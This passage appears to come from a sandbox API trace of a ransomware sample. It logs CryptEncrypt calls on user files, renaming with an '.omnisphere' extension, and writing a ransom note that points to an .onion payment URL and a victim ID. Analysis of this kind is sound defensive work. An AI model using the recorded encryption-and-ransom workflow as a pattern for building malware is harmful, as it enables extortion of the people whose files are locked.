out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.233] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.233] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.233] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.233] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.233] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.233] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.233] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.233] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.233] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.233] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.233] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.233] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.234] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.234] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.234] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.234] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.234] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.234] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.234] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.234] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.234] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.234] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.234] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.234] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.234] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.234] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.234] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.234] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.234] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.234] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.234] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.234] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.235] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.235] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.235] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.235] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.235] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.235] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.235] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.235] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.235] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.235] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.235] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.235] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.235] CryptDestroyKey (hKey=0x1639528) returned 1 [0128.235] CryptReleaseContext (hProv=0x1668a38, dwFlags=0x0) returned 1 [0128.235] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xc00, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.235] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0128.236] GetProcessHeap () returned 0x1600000 [0128.236] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x310) returned 0x16fd398 [0128.236] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9d1f905ce5044aee.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\9d1f905ce5044aee.automaticdestinations-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9d1f905ce5044aee.automaticDestinations-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\9d1f905ce5044aee.automaticdestinations-ms.omnisphere")) returned 1 [0128.237] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9d1f905ce5044aee.automaticDestinations-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9d1f905ce5044aee.automaticDestinations-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9d1f905ce5044aee.automaticDestinations-ms.omnisphere.id" [0128.237] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9d1f905ce5044aee.automaticDestinations-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\9d1f905ce5044aee.automaticdestinations-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0128.238] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0128.240] CloseHandle (hObject=0x388) returned 1 [0128.240] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.241] CloseHandle (hObject=0x3c0) returned 1 [0128.241] SetEndOfFile (hFile=0x288) returned 1 [0128.241] FlushFileBuffers (hFile=0x288) returned 1 [0128.247] CloseHandle (hObject=0x288) returned 1 [0128.247] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\9d1f905ce5044aee.automaticDestinations-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0128.247] GetProcessHeap () returned 0x1600000 [0128.247] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16fd6b0 [0128.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0128.247] GetProcessHeap () returned 0x1600000 [0128.247] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1e88 [0128.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1e88, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0128.248] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0128.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0128.248] GetProcessHeap () returned 0x1600000 [0128.248] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17107e0 [0128.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17107e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0128.248] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0128.248] GetProcessHeap () returned 0x1600000 [0128.248] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xdc) returned 0x16fbc90 [0128.248] PathCombineW (in: pszDest=0x16fbc90, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" [0128.248] GetProcessHeap () returned 0x1600000 [0128.248] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x170d660 [0128.248] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.249] WriteFile (in: hFile=0x288, lpBuffer=0x170d660*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x170d660*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0128.249] CloseHandle (hObject=0x288) returned 1 [0128.249] GetProcessHeap () returned 0x1600000 [0128.249] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16fd6b0 | out: hHeap=0x1600000) returned 1 [0128.249] GetProcessHeap () returned 0x1600000 [0128.249] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1649080 [0128.249] PathCombineW (in: pszDest=0x1649080, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" [0128.249] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.249] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0128.250] CloseHandle (hObject=0x288) returned 1 [0128.250] GetProcessHeap () returned 0x1600000 [0128.250] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649080 | out: hHeap=0x1600000) returned 1 [0128.250] GetProcessHeap () returned 0x1600000 [0128.250] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0128.250] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76210a8a, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x76210a8a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0x641e7d87, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0xcc, cFileName="b8ab77100df80ab2.automaticDestinations-ms", cAlternateFileName="B8AB77~1.AUT")) returned 1 [0128.250] GetProcessHeap () returned 0x1600000 [0128.250] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x100) returned 0x160e0d8 [0128.250] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="b8ab77100df80ab2.automaticDestinations-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8ab77100df80ab2.automaticDestinations-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8ab77100df80ab2.automaticDestinations-ms" [0128.250] StrStrW (lpFirst=".omnisphere", lpSrch=".automaticDestinations-ms") returned 0x0 [0128.250] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\b8ab77100df80ab2.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\b8ab77100df80ab2.automaticdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.251] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=2560) returned 1 [0128.251] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x4dc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.251] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0128.253] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x3c0 [0128.253] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0128.253] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.253] CloseHandle (hObject=0x3c0) returned 1 [0128.253] GetTickCount () returned 0x115fff8 [0128.253] GetTickCount () returned 0x115fff8 [0128.253] GetTickCount () returned 0x115fff8 [0128.253] GetTickCount () returned 0x115fff8 [0128.253] GetTickCount () returned 0x115fff8 [0128.253] GetTickCount () returned 0x115fff8 [0128.253] GetTickCount () returned 0x115fff8 [0128.253] GetTickCount () returned 0x115fff8 [0128.253] GetTickCount () returned 0x115fff8 [0128.254] GetTickCount () returned 0x115fff8 [0128.254] GetTickCount () returned 0x115fff8 [0128.254] GetTickCount () returned 0x115fff8 [0128.254] GetTickCount () returned 0x115fff8 [0128.254] GetTickCount () returned 0x115fff8 [0128.254] GetTickCount () returned 0x115fff8 [0128.254] GetTickCount () returned 0x115fff8 [0128.254] GetTickCount () returned 0x115fff8 [0128.254] GetTickCount () returned 0x115fff8 [0128.254] GetTickCount () returned 0x115fff8 [0128.254] GetTickCount () returned 0x115fff8 [0128.254] GetTickCount () returned 0x115fff8 [0128.254] GetTickCount () returned 0x115fff8 [0128.254] GetTickCount () returned 0x115fff8 [0128.254] GetTickCount () returned 0x115fff8 [0128.254] GetTickCount () returned 0x115fff8 [0128.254] GetTickCount () returned 0x115fff8 [0128.254] GetTickCount () returned 0x115fff8 [0128.254] GetTickCount () returned 0x115fff8 [0128.254] GetTickCount () returned 0x115fff8 [0128.254] GetTickCount () returned 0x115fff8 [0128.254] GetTickCount () returned 0x115fff8 [0128.254] GetTickCount () returned 0x115fff8 [0128.254] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x16688a0) returned 1 [0128.255] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x16397a8) returned 1 [0128.255] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0128.255] CryptDestroyKey (hKey=0x16397a8) returned 1 [0128.255] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0128.255] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x3c0 [0128.256] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa00) returned 0x1480000 [0128.256] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x16683d8) returned 1 [0128.256] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639528) returned 1 [0128.257] CryptSetKeyParam (hKey=0x1639528, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0128.257] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0128.257] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.257] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.257] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, 